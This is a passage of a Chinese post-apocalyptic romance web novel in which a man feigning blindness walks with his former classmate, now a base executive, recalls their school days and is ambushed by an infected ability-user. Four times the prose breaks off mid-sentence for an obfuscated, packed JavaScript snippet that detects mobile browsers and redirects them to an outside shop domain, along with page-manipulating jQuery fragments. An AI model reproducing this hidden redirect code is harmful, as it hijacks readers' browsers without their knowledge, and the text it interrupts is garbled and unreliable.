霍序则控制着自己的眼神不乱飘,定定“看”着门外,雾灰色的眼眸微弯,左侧脸上的酒窝浅浅显现:“怎么不出声呢?来多久了?” 其实刚才花园铁门的异响动静极细微,如果不是霍序则的精神丝无意识缠绕在了这所房子里的角角落落,他可能都不知道刑厄来了。 对方来多久了?这个时间来做什么?为什么没按门铃就站在外面? 脑域进化的结果就是霍序则越来越爱发散性思维,他脑子里盘旋着无数个可能性推测,最终答案却是刑厄伸进雕花铁门缝隙的一个保鲜盒。 霍序则怀着颇为复杂的心情,收下已经提前被洗得干干净净了的食品保鲜盒。 这是他下午塞给刘磊承的那个。 现在刑厄将食盒还给他,所以这盒饭菜最后是刑厄吃的? 霍序则告诫自己不要再对刑厄好奇,不要再去靠近对方,可刚才他忘了蒙上眼睛出门。 他看见了刑厄。 跟高中时给人的印象差不多,盘靓条顺的凶悍酷哥,自带一股子生人勿近的凛冽气场,但其实靠近过去又会发现,酷哥有血有肉还爱学习。 可现在……酷哥的脸被谁弄伤了? 霍序则垂眸让自己将不自觉定在刑厄眉心正中那条长疤的视线收回。 他眸底凝着疑问:这样长的疤,稍微偏一点就会祸及眼睛,深一些则是可能致命。 “一个盒子也值得北部基地的首席执行官亲自跑一趟?” 刑厄让自己的副官送自己回来,就没有隐瞒自己身份的意思。 霍序则遏制住对一门之隔的人愈演愈烈的旺盛求知欲,笑了笑调侃:“让执行官吃隔夜饭,小刘这副官做得不够称职啊?” 铁门外的刑厄摇头:“很好吃。” 顿了下,又说:“叫我刑厄就好。” 其实刑厄大老远这么晚专门送一趟保鲜盒还给自己,霍序则至少应该体面地邀请对方进屋坐坐。 然而霍序则下午才刚刚打定主意不要再深究刑厄的行为动机,不要再多想对方默默做的那些背后到底图什么?要什么? 霍序则如今已经一无所有,无论刑厄为了什么,他都给不了,也给不起。 所以霍序则此刻失礼至极,连二人之间的花园铁门都没有主动打开。 “是饭菜不合口味吗?”霍序则知道自己应该拿着盒子转身进屋,但他的脑子和身体分离了。 他听到自己问:“你的声音听起来可不像觉得饭菜好吃。” 霍序则刚才从刑厄手上接过饭盒,并没有再听到什么刑厄的心声。 但铁门外的人情绪不太好是事实,这人眉头到现在还紧锁着。 铁门外的刑厄本来牢牢定在霍序则手上保鲜盒上的视线抬起,喉结滚了滚。 霍序则不敢跟人对视,怕被发现不是瞎子的事实,他只是继续问:“还是中午的事情很棘手?” “你,没有受伤吧?” 霍序则在心里叹气,他觉得自己蒙不蒙眼睛并没那么重要了,他该缝上自己的嘴。 门外的刑厄果然一怔,下意识回答:“没有。” “没有受伤。”他又重复了一遍。 霍序则出门忘了蒙丝巾,半个多月前才自己弄瞎的眼睛恢复太快,飞行员5.2的视力又太好。 刚才只一眼,他不仅关注到了刑厄眉心的伤,也一眼看进了对方眼底的沉郁。 霍序则索性破罐子破摔:“那你为什么心情不好?” 门外的刑厄又沉默了。 霍序则自我检讨了一秒就干脆放纵了自己,他从前大概是大少爷做久了,天生就爱随心所欲。 见刑厄拒绝回答自己,霍序则想起什么,又好脾气地耐心问:“你晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223141|139399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有事吗?回家的话,我送你吧。” 刑厄:“……” 霍序则笑了下,一手收着饭盒,一手插进兜里,人站得挺直,就是整个人莫名透出了点子慵懒意味:“怎么?对一个瞎子送人回家的能力存疑?你不是还让我照顾你妹妹?” 刑厄摇头:“没怀疑你的能力。” 他认真解释:“但我不需要送。” 霍序则还是笑:“开玩笑的,我刚好想出去走走,那就当陪我散个步?” 就这样,下午刚痛定思痛决定与高中老同学保持距离的霍序则被晚上的自己乱刀捅死,霍序则跟刑厄说让他等一下自己,又回到别墅放食盒。 霍序则在刑厄到来前,已经换了睡衣在房间里躺尸了好一会儿了。 北部幸存者基地的昼夜温差较大,霍序则晚上穿着睡觉的是一件灰色卫衣,带帽子的那种。 他刚才开门出去穿的就是这件衣服,将保鲜盒放回厨房,霍序则又回了一趟三楼卧室。 他的头发太长时间没剪,已经长到脖子位置了,晚上刚洗过头发,长发软塌塌地顺柔垂在耳后,霍序则鬼使神差到浴室喷了两下子发胶,随手抓了个型。 离开浴室,他又想换件衣服,当他下意识考量哪件衣服更适合哪条裤子,匹配哪双鞋时,霍序则打开衣柜的手猛地一顿。 他在干什么? 他说去散步,是想借机问问关于刑厄妹妹的事。 霍序则异能进化方向在脑域强化,他的精神体蜘蛛吐出的丝线是神经丝,中午刘副官提起过,刑厄的妹妹没有截过肢,那么如果刑厄妹妹的腿部不良于行问题是与神经有关的,他或许还能够帮上点忙。 可既然是想帮点忙,就当还了老同学大方馈赠别墅、借精神体给他代步的情,他又为什么要进浴室照镜子喷发胶,现在还在这里挑衣服? 他难不成还想出去孔雀开屏? 梁幸过去就一直唾弃霍大少爷在末世里逃个命,还放不下自己一箱子衣物宝贝。 好友甚至昨天还在骂他骚包。 霍序则此时此刻冷静审视自己,竟惊觉自己被骂的真不冤。 长出了口气,霍序则揉揉脸,镇静地关上衣柜门,又一把将卫衣后面的帽子往头上一扣,完全遮住被发胶精心固定好的发型。 下楼后,霍序则拿上玄关的白丝巾认真戴好,这才柱着把长柄伞慢慢踱出院子,打开别墅花园的雕花铁门。 仿佛戴回完美假面的霍序则唇角微抬:“久等了。” 11. 圣父与校霸 刑厄与霍序则走在路上,末世电力供应紧张,哪怕“异能区”别墅这块都相隔很长一段路才有路灯,且灯光昏暗。 霍序则开门见山问起刑厄妹妹的腿。 刑厄说:“四岁的时候摔下楼出的事,脊柱损伤,末世前做过两次手术,但恢复情况很有限。” 刑厄回答妹妹的身体问题时,全程语气平静,仿佛没带任何感情,即使提到恢复不理想,也没有表现出沉重伤感。 这有两种情况,一种是他已经对自己妹妹的身体情况麻木认命,不再怀有任何期待,甚至是对妹妹本人漠不关心。 另一种则是,刑厄从未气馁放弃,所以没有半分消极情绪流露。 霍序则哒哒哒握着雨伞走在路上,心中有了个联想:“我记得,你高中成绩挺好的。” 他突然问:“那时候经常迟到早退是为了你妹妹吗?” 霍序则从前听说过刑厄家里的一点情况。 他知道刑厄的家庭条件不是太好,会进入他们高中就读完全是因为中考成绩足够优异,免了高中三年学杂费被学校请进来的。 而像霍序则高中所就读的那种普通学生想进,除了成绩考量,更重要的门槛是还必须缴纳高额赞助费用的贵族学校,最大也最难根除的陋习大概就是校园霸凌严重。 毕竟师资力量再好,升学率、出国率再高,学生成绩与人品德行从来也没有直接关系。 在这样的学校里,学生还未步入社会,就已经提前以家世、财力、父母地位为参考准则在校园团体中形成了森严顽固的阶级歧视。 而明明认真学习也成绩很好的刑厄之所以会变成他们高中同学口中谁都不敢惹的“煞神”校霸,就在于刑厄如果按照家庭条件划分,在学校本该属于“受欺负”的弱势群体。 可偏偏刑厄不惯着那些自以为高高在上的霸凌者。 高中时期的霍序则“圣父病”其实挺严重的,或许是中二少年都有一个拯救世界的英雄梦,他曾经因为和朋友在这类事件上意见不合而决裂。 闹崩时,对方说霍序则像个居委会大妈到处多管闲事。 于是,当正想管闲事的霍·居委会大妈·序则第一次遇见刑厄,他的闲事没能管成,因为刑厄从来不是需要被保护的弱者。 霍序则不止一次亲眼见到刑厄打架,也无数次看着刑厄站上周一的操场升旗台念检讨。 反击一次霸凌,念一次检讨,念完检讨,继续反击霸凌。 严格来说刑厄的校霸身份,实际就是他一场一场又凶又狠宛若不要命的霸凌反击战打出来的。 那时候,霍序则就对刑厄感到好奇。 霍序则记得刑厄曾经经常因为迟到早退被罚站在教室外,而他的父母却一次都没出现到学校过。 同学间都传刑厄父母都不在了,但霍序则有个哥们家里出身公检法系统,从前随口提过,刑厄的父亲在坐牢。 父亲坐牢,母亲又要工作的话,刑厄那时候迟到早退也许是因为要照顾四岁就瘫痪了的妹妹? “有一些原因,但不全是。”刑厄回答。 他平淡解释:“十六岁后可以打工,我晚上有时候要工作。” 霍序则一愣,扭头下意识问:“打什么工?” 刑厄一边走,一边时刻注意前方路面障碍及时扫开,霍序则这会儿脚步慢下来扭头“看”他,他才也将目光轻轻落到身旁头顶兜帽的人身上。 刑厄的目光从霍序则的脸、露在衣服外的脖颈,以及领口处一小截凸起的锁骨小心翼翼滑过,最后只敢停留在霍序则身上的衣服上。 他发现霍序则今晚穿的这件卫衣胸口有个标志,似乎是他从前大学的校标。 “什么都做,我的上班时间保证不了太稳定,如果我妹妹有事,有时候半夜还会需要回家,哪里招人我就去,一般都是临时工,招到更合适的就会让我走。”刑厄看着霍序则胸口那个飞机图案的校标回答。 霍序则追问:“那……早上迟到是因为?” “夜班交班时间晚,赶不上上午第一节课。” 霍序则喉间缓缓动了动,他还想问,那你回学校就被罚站,你怎么睡觉? 可他又想,刑厄应该不会睡觉吧,他高中成绩不差,出学校要打工,回家还要照顾家人,在学校里就得抓紧时间学习。 他哪有时间睡觉啊? 还有他的妈妈呢? “那后来呢?”霍序则又想起刑厄说他后来被退学了,“判了正当防卫以后,你去做了什么?” 学校没有同学被伤的消息,那么刑厄的正当防卫一定是发生在校外,后来刑厄还有回去其他学校读书吗? 昏暗路灯下,刑厄和霍序则并排的身影被拉得很长,从影子看霍序则貌似比刑厄还略高上一点,不过也可能是霍序则头上还有一层卫衣兜帽的缘故。 刑厄以为霍序则问的是他后来做的什么工作:“案子审了很久,期间也没办法找正式工作,就在一所修车行做学徒工帮忙。” 顿了下,刑厄说:“等最终判定出来,距离丧尸爆发只有半年了,所以也没来得及换其他工作。” 霍序则安静了好一会儿,才慢慢“哦”了一声。 他猜测过高中的刑厄生活可能不太容易,但刑厄那时候给人的气场太强,会让人无形忽略他身上可能隐藏的脆弱,又或者被什么所打倒。 当然,现在刑厄能军装笔挺走在自己身边,显然也的确没有被任何过去击倒。 “你现在……” 霍序则凝神思索着什么,刚开口,身旁的刑厄忽然伸手拉了霍序则一下。 霍序则感到手臂传来一瞬力道,又转瞬消失,很熟悉的情景重现,刑厄似乎每次碰他都是一触即分,就像霍序则身上是带电还是有火,碰他一下就会伤筋动骨。 “有水,你走这边。”刑厄的声音沉稳有力。 下午才下过暴雨,晚上一些路段积水还未完全干,霍序则用雨伞哒哒哒充当盲杖自然也感觉得出来。 但有水怎么了? 霍序则眉心几不可察地轻蹙了下,刑厄在小心翼翼什么,他现在脚上的鞋绝不比刑厄金贵,而一个人就算“瞎”了也不会脆弱到因为踩到积水就会如何,刑厄对他的照顾……霍序则还不起。 “谢谢。”然而霍序则还是顺从着刑厄之前的力道跟对方换了位置。 因为一个位置交换,先前的话题断了,霍序则缓缓吸了口气,也不再追问刑厄的过去,接下来,他们之间就那么默默无言安静地一起走了阵。 “你的衣服……”直到身旁的刑厄开口。 霍序则侧了下头,这还是今晚散步中头一次听到刑厄主动说话。 刑厄问:“是你们大学的衣服吗?” 霍序则“嗯”了一声,复杂心绪已然被他压下:“是啊,大学校庆的纪念卫衣,不过这是当时一个创业的师姐送我的,好像是她自己在做的校园周边相关的产品。” 当时那位师姐天天撺掇霍序则穿着衣服在校园逛当给她打广告,还十分豪迈地保证卖的好就给霍序则分提成。 霍序则想起那时候一时间只觉得恍如隔世,他无意识笑了下,忽然说起:“我大学里其实也差点被劝退了。” 刑厄闻言愣了愣。 霍序则说:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223142|139399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入学是踩着身高封顶线进去的,结果大一开学体检,我暑假竟然还蹿了个儿,好险没被老师劝退。” 霍序则所谓劝退,实则指的是换专业。 飞行员身高一般要求在一米六五到一米八五之间,霍序则当年通过提前招考选拔的时候身高就已经顶在185cm这个临界线上了。 不过霍序则最后倒没换专业,只是现在也应该再也没机会上天就是了。 “你很喜欢飞行?”一旁的刑厄目光不由自主落在霍序则握着伞柄的手上。 霍序则的手很好看,掌心宽大,手指瘦长,骨节匀称,而且因为“臭讲究”,霍序则的十指指甲无论何时都保持短而干净。 当霍序则用这双手拿着东西递人,又或者只是随便夹着支烟……那种清清冷冷高山仰止的质感,无比吸引人的目光。 刑厄盯着霍序则的手,听到霍序则回答:“还行,我这人其实挺滥情的。” 霍序则颊边的酒窝又在若隐若现:“我从小到大碰到什么都好奇心征服欲旺盛,什么都喜欢摸摸看看玩一玩,想做飞行员最开始就是想能够满世界到处转。” 霍序则不缺钱、不缺时间、不缺精力,他那时候只是很幼稚地想,随便飞机把他带到世界的哪里,这好像是一件挺浪漫的事。 “不过现在飞是飞不了了。”霍序则指指自己眼睛上的白丝,感叹了句,“所以瞎子也就只能在家做做饭。” 他想起什么,又扭头问:“刑厄,你妹妹偏爱什么口味?你不喜欢中午的饭菜,是觉得咸了淡了还是不爱吃油炸的……” “我没有不喜欢。”刑厄出声打断。 然而,霍序则笃定说:“可你还盒子的时候就是兴致不高。” 霍序则很坦然,每个人口味不一样,霍序则也没想过要让人人都夸自己的厨艺,但今晚听了些刑厄的事,让他意识到要死归要死,他现在其实也还能为对方做点什么。 挺好的,死前还能乐于助人,就当是置换给刑厄将来浪费异能送自己归西的酬劳也不错。 “你不是还让我照看你妹妹?”霍序则自然地问,“她有什么忌口,喜欢吃什么,什么口味习惯我总要先了解清楚。” “她会做饭,刘磊承也会按时送物资上门,你不用操心这个。”刑厄却回答。 霍序则闻言神色变得古怪:“中午的排骨就那么难吃?还是你不相信瞎子能做出什么能吃的东西?” 他塞给小副官带走的保鲜盒里,除了米饭和一点蔬菜,主菜就是一块油炸肋排,小副官当时还夸这道菜夸得上天,难道只是演技太好? 刑厄一顿,拧起眉目,再次否认:“不是,你做的东西很好吃。” 霍序则显然不信,刑厄站在别墅铁门外还盒子的时候明明还僵着一张脸! 霍序则干脆停下脚步,认真“看”向旁人,追根究底:“既然好吃,那你在不高兴什么?” 由于散个步的聊天有些长,当前霍序则与刑厄散步到的这个路段附近有盏路灯好像坏了,霍序则俊美的五官有一半陷进了前方绵延的黑暗中,但刑厄从对方的语气就可以想象出霍序则此刻脸上的表情。 左边嘴角的酒窝大概看不到了吧? 刑厄下意识跟着霍序则停下脚步。 对峙了好一阵,又或许只是短短数秒。 霍序则打定主意问到底,刑厄终是先败下阵来:“你不是……不能吃肉吗?” 刑厄问话的声音很轻却很笃定,他的语气明明没有任何不对,可霍序则竟莫名其妙从中听出了一点愤怒。 又像是……难过。 “你怎么知道我不能吃肉?” 12. 油炸排骨 知道霍序则不吃肉,是在高二上半学期。 也是刑厄就读高中的最后一个学期。 那天,刑厄坐在距离一楼食堂门口最近的位置刚打完餐。 他们高中分很多个食堂,都在一栋楼里,食堂一楼的饭菜最普通也最实惠,刑厄从来都在一楼用餐,而那段时间食堂二楼以上刚好在做新装修,平时分流的学生也都聚集进了一楼。 只不过明明是在人头攒动拥挤嘈杂的一楼食堂中,刑厄的身边却因为没人敢跟他坐一桌而硬生生隔出了一片安宁区。 中午12点40分,霍序则和同伴一起走进食堂。 他们上午最后一节课应该是上的体育课,霍序则那天身上只穿了件短袖夏季校服。 少年身量拔高旁人一截,他先前应该出过很多汗,头发微湿,脸上倒还干干净净,只是身上的校服早已被汗水浸透贴在身上,显露出少年人独有的蕴藏勃发力量又略显轻薄的肩背。 他们有说有笑经过刑厄的桌边,霍序则的同伴嚷嚷着“好饿啊”,他们一起走到窗口打饭,刷的都是霍序则的饭卡。 霍序则打完饭找了个餐桌坐下,刚好那个餐桌位置离刑厄就餐的餐桌不远。 大概也是因为很多同学都下意识远离刑厄,所以刑厄所坐的区域附近反而是食堂空座最多的。 也相对安静。 霍序则刚坐下,一个女生很快便跟着走了过去。 女生红着脸将一个天蓝色的信封递给霍序则,霍序则抬起头,同时被晚他一步端着两个汤碗过来的同伴抬肘撞了下。 同伴笑得肆意又暧昧。 高中生正是八卦的年纪,以他们餐桌为中心一圈本来或走动或聊天或埋头吃饭的同学也都不约而同暂停了正在做的事看起热闹,甚至有人还吹了声响亮口哨。 给霍序则递信的女生很漂亮,似乎也很出名。 虽然刑厄这种两耳不闻窗外事的学生不认识女生,也没人会主动跟他说八卦,但霍序则选的食堂座位离刑厄的太近,附近同学的窃窃私语刑厄听得分明。 “是艺术部的谭梦萦诶,我们学校建校以来票选最靓第一哦,来本部专门送情书的吗?” “哇哦,果然美女都爱帅哥。” “校花配校草,天仙配好吧。” “霍序则谈恋爱的话,全校一半女生都要心碎了吧……” 女生应该来自他们学校的艺术分部,大概还比他们要高一届?因为刑厄听到霍序则抬起头后,叫了对方一声“学姐”。 霍序则没立即接对方递过来的信封,倒是从食堂座椅上站起了身。 他低声对女生说了句什么,女生咬了下唇,脸上的红晕褪去了些,连递信的手都显出僵硬。 霍序则扫了眼周围,周围的同学立即欲盖弥彰地假装低下头做自己的事。 霍序则这才又跟女生说了几句话,然后在大家有意无意地静默注视下,与那个女生一起走出了食堂门口。 过了大约五六分钟,霍序则才重新回到食堂,这次他是一个人,手上也没拿什么蓝色信封。 倒是多了两罐凝结着水汽的冰可乐。 霍序则回到餐桌座将其中一罐可乐随手放到同伴桌上。 同伴眉开眼笑:“算你没见色忘友!” 然后一边掰易拉罐拉环,一边八卦问:“怎么样成了没?嫂子给买的?” 霍序则一把将同伴已经凑到嘴边的冰可乐重新抢回来扔到一边,还顺手干脆利落还了个同伴先前给他的肘击回去。 “行,你现在自己去找个嫂子给你买,这罐别喝了。” 同伴“靠”了一声:“这么漂亮都不要,舞蹈生身材那么好,谭……” 霍序则懒得搭话,在同伴又伸手去拿那罐冰可乐时,才打断说:“刚运动完就喝冰的,你想吐血?” 同伴伸出去的手又悻悻收回。 “饿就吃饭,渴就喝汤,少议论别人女生。”霍序则劲瘦的指节微曲,适时推了碗汤到对面同伴面前。 而他自己也顺手拿起桌前的汤碗喝了一口。 霍序则的同伴幽幽嘟囔:“我靠,你不会其实在暗恋我吧?” 伴随着同伴夸张环胸自抱的动作,霍序则喉结滚动,咽下一口汤,视线不着痕迹地落到手中的汤碗里,又看了同伴一眼,顿了下,没回话。 同伴以为霍序则在对自己表示无语,自行延续话题,振振有词:“我看你对同性比异性好!你看你又是请我吃饭,给我买饮料,还担心我吐血!不是我说,霍序则你这家伙不是直的吧……” 同伴这边咋咋呼呼说个没完,霍序则慢慢放下手中汤碗,面上表情丝毫没变,只突兀地问了一句:“汤里有肉?” 他们桌上现在的汤是霍序则的同伴打来的,霍序则在他之前端了两个人的盘子先来找座位。 同伴“啊”了一声,注意力被带走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223143|139399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,下意识说:“没有吧,不是冬瓜汤吗?” 霍序则平静纠正:“是冬瓜排骨。” 只是排骨重,沉在盛汤容器的最下方,又或者因为他们中午下课后还在篮球场多逗留了一阵,以至于霍序则的同伴去盛汤时,排骨都被捞尽了,只剩了冬瓜。 但,那的的确确是一份冬瓜排骨汤。 说完,霍序则站起身又一次走出食堂门口,当他再次经过刑厄桌边时,刑厄直觉霍序则的反应不太对。 明明面上表情没有变化,可…… 刑厄眉心微拧,忍了两秒,起身也跟了出去。 然后,他亲眼看到霍序则进到厕所对着马桶一点点抠吐,反反复复地抠,像是怕抠得不够狠吐不干净,吐到最后只剩清水时,他的额上都附上了一层冷汗。 霍序则在洗手池漱过口又歇了会儿气,差不多十多分钟后才整理好重新离开厕所。 再后来,霍序则第三次返回食堂,就好像刚才的一切都没发生过一般继续吃饭,直到同伴惴惴不安跟霍序则道歉。 刑厄听到霍序则笑了声,只是因为刚吐完,嗓音有点哑。 “被你恶心吐了而已。”他神色平常地拉开自己桌前已经不再冰了的可乐喝了口,像是现在才回敬同伴之前那番霍序则直不直暗没暗恋他的言论。 然而同伴大概很了解霍序则,没把霍序则明显岔开话题的话当真,脸上依旧满是懊悔。 霍序则放下可乐罐,最后才摆了摆手,不太在意地解释。 “不关你的事,我吃素是因为我妈许了个愿,要全家一起守斋吃素心诚才灵。” 霍序则吃素,喝到一点带肉味的汤都要去厕所抠吐出来。 但下午刘磊承带回去的保鲜盒里,装的却是一整块酥脆可口的油炸排骨。 “序则,我今晚想吃桥头排骨。” 南部基地的异能者下巴枕在霍序则肩头说的话还历历在耳。 刑厄上午赶到基地大楼观察办外听霍序则说话时就感到异样,霍序则当时的声音有些哑。 他以为是因为昨天淋了雨的缘故。 刑厄的手无意识覆在军装上衣的一侧口袋之上,而隔着一层粗粝的军装制服面料,那里面安静躺着一板在末世极为珍贵的白色感冒药片。 刑厄慢慢握拳,别开眼:“你吃不了的东西,何必非陪朋友一起?” 那个梁幸知道霍序则不能吃桥头排骨吗! 13. 高危感染者 梁幸知道也不知道霍序则不能吃肉。 知道,是因为霍序则从大一入学起确实顿顿吃素,而不知道,是因为霍序则早不需要遵守这条规矩了。 霍序则的家人都死了。 那个全家守斋吃素才能灵验的愿望,永远都不会灵验了。 霍序则从刑厄的问话中听出了不理解。 在刑厄的眼里,霍序则大概就是个路边遇见个陌生小孩,随手就要转钱给人买糖,遇个劫财劫色的猥琐男也非要恪守承诺给与报酬,为了朋友当然只会更加连损伤自身也在所不惜的绝世愚善大冤种吧? 霍序则想,这应该属于一种恨铁不成钢的鄙夷情绪。 可刑厄的话里又有愤怒。 还有…难过。 霍序则宽大的手掌握着手中的伞柄,在刑厄看不到的角度,大拇指微微用力,指腹泛出苍白。 他可以解释,霍序则很擅长感受他人的情绪,他的精神丝从散步初始就蠢蠢欲动想要探向身旁的人。 他可以对刑厄说,你误会了,我的排骨不是做给梁幸吃的,他也可以说,他送给他递情书的女生出食堂只是为了体面,他不在意同伴打错的肉汤因为他喝之前自己也没注意到。 他的那点与人为善相比他曾经拥有的根本算不了什么,这不值得刑厄关注关心,更不值得他记到现在。 可霍序则这一刻什么都没有解释,不能解释,他意识到今晚出来散步就是个彻头彻尾的错误。 所以霍序则开口:“刑厄,我们……”回去吧。 “谁在前面?”然而霍序则话才说到一半,忽而话锋一转,蓦地“看”向前方路灯熄灭的方向。 身旁的刑厄也立即警觉。 霍序则的精神丝是无形的,他近段时间精神力暴涨,精神丝常常无意识溢出。 就在刚才,他企图擅自接近刑厄的精神丝被他强行扭转方向甩去一边,却在深入前方路灯没亮的黑暗路段碰了个什么东西。 准确来说,是个人。 刑厄没有任何迟疑抬臂将霍序则挡到身后。 前方没有灯光的黑暗中慢慢传来脚步声,在脚步声渐近,即将走出黑暗中时,黑暗中的人影说:“请问……” “别看他!别回话!”霍序则抢在那人之前,倏然握住刑厄的一边手臂猛地拉后一步。 对方是感染者! 霍序则今天早上从别墅三楼醒来,整个三楼卧室布满了蜘蛛网,他的精神体失控在加剧,所以霍序则上午出门前掰折了精神体的一只腿。 精神体与异能者高度共感,甚至可以说精神体即是一个异能者命门所在。 霍序则惩罚自己的精神体,以至于他现在脑中都还在嗡嗡轰鸣刺痛,鉴别感染者的触觉也迟钝了许多。 但黑暗中的人影一开口,霍序则随即确认。 ——会正常出声说话,是高危感染者。 黑暗中的人听到霍序则的话,脚步一下子加快,霍序则迅速做出反应,扭头对刑厄说:“你不能看他!把灯打灭!” 经过五年末世的更替变异,丧尸病毒感染者外貌、行动力都几乎与常人无异,很难一眼辨别,更何况一眼以后看的人也很可能成为下一个感染者。 霍序则没法解释自己为什么确定对方是感染者,他只能寄希望于刑厄信他。 好在几乎是与他话音落下的同一秒,砰的一声,他们身后的路灯灯管应声碎裂。 刑厄掏出了枪。 附近完全黑了下来,脚步声还在一刻不停靠近过来,刑厄将霍序则推后,而自己则反向上前却被霍序则拉住手腕。 “尽量别弄出外伤。”霍序则只说了一句,然后放手。 高危丧尸病毒感染者血液具有渗透皮肤的感染性,刑厄是北部基地首席执行官,他会知道霍序则这句话的意思。 果然刑厄“嗯”了一声,声音很低,也很稳:“往后跑,其他我来解决。” 刑厄嘱咐完,没有等霍序则回复便干脆迎了上去,于是他也不知道身后留在黑暗中的霍序则并没有听话离开。 霍序则总觉得有哪里不对劲。 他和刑厄散步到这里停留了不短的时间,期间如果黑暗里的高危感染者有任何动作,不用霍序则的精神丝意外撞上,身为身体强化异能者的刑厄早该发现。 感染者听到人声不出声也不动,就像隐藏在那里专门等他们? 可如果是丧尸病毒已经发作的感染者,神经系统被破坏并不具备思考能力,怎么可能“等人”? 那么如果是未发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223144|139399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作的感染者,假设对方自己清楚自己已经高危感染绝不可能主动撞到基地首席执行官的枪口上,而假设自己不清楚,躲在黑暗中蛰伏的行为却更加可疑! 不对,刻意隐藏在黑暗中等待其实还有一种可能…… 电光火石间霍序则猛然意识到什么! “刑……”霍序则刚想出声提醒,一瞬毛骨悚然直冲天灵盖的脊背颤栗感又让他的声音戛然而止。 下一秒,不等霍序则做什么,贯穿黑暗的凶悍狮吼近在耳边。 刑厄放出了自己的精神体! “不能咬!” 白狮的突然出现让霍序则来不及权衡多想,他手腕翻转刹那打开手中用作盲杖的伞挡开白狮。 刑厄的身体进化等级极高,他拖了这么久没有返回,因为黑暗中的感染者也是异能者! 而那个异能者的精神体蛇不知是夜视能力太差走错了位置找错了人,还是对方故意为之。 白狮出现的前一秒,霍序则感到了手臂传来黏腻湿滑的缠绕触感。 猫科动物的夜视能力是蛇的数倍不止,远处的刑厄或许也发现了对方的意图,竟放出自己的精神体回头找霍序则。 但,白狮不能咬蛇! 那个异能者被感染了! 因为行动仓促,霍序则用伞面挡开白狮的瞬间掌心毫无意外传来一刹刺痛。 与此同时被霍序则挡开的白狮不顾一切猛地向霍序则回扑。 或者说将霍序则手腕上缠着的蛇扑踩到脚下。 万籁俱寂。 黏腻湿凉的触感消失,被肌肉强健的巨型白狮四爪按在身下护着的霍序则只感受到白狮胸腹一下一下剧烈起伏的狮喘。 “你……有没有受伤?” 刑厄不知何时已经回到了霍序则身边,黑暗中,他听到刑厄的声音从头顶传来。 刚才的混乱里霍序则眼睛上蒙着的白丝巾滑落到了地上,他下意识抬眼,只隐约看到一个黑色深沉的虚影僵硬地立在自己面前。 刑厄甚至没有蹲下,就那么僵硬地站着。 那么笔直,孤立无援,连呼吸都是乱的,泛着不易察觉细微的抖。 霍序则想,如果他此刻承认受伤,那么他将拥有一个毫无破绽完美的借口去死。 14. 晚点再死 “霍序则,回答我。” 刑厄第一次连名带姓叫霍序则。 霍序则被蛇咬伤的手正撑在粗糙的水泥地面上,而伏在霍序则身上的白狮被刑厄凶悍地一把掀开。 黑暗中霍序则看不清刑厄的表情,但对方的身形矮了下来,像是支撑不住身体重量,刑厄用了一个双膝顶地的姿势跪在他的身边。 这期间霍序则一直没回话,静了好一会儿,身边的黑影才很轻很慢地开口。 “没有观察中心观察鉴定报告,我不能对他用异能。” “他一个半月前接了护送任务出基地,他的任务伙伴今天中午经鉴定确认感染,我中午就已经执行了处决。” “他埋伏在那里,我以为他的目标是我……我……” 刑厄从来话少,无论是从前在高中还是后来在末世基地重逢,他极少这样连续一口气繁复仔细地絮絮叨叨,到最后他说无可说,只能又回到让霍序则回他的话。 “回答我,霍序则……” 带着一丝隐蔽的无助祈求。 北部基地令人闻风丧胆的首席执行官,其精神体白狮的异能叫做“血液凝固”。 人的心脏一刻没有血液输送就会停止工作,刑厄的异能是杀人技。 所以即使意识到危险,毫不犹豫打灭了路灯,也放弃了用枪,在面对他认为那个疑似高危感染的异能者目标是自己的情况下,刑厄依旧没有召出自己的精神体。 末世的人命也是人命,在无法百分百确认对方感染前,刑厄不会轻易动用异能,这是刑厄的原则,他在向霍序则解释自己刚才没有第一时间对对方用异能的原因。 那么后来又为什么还是放出了自己的精神体白狮呢? 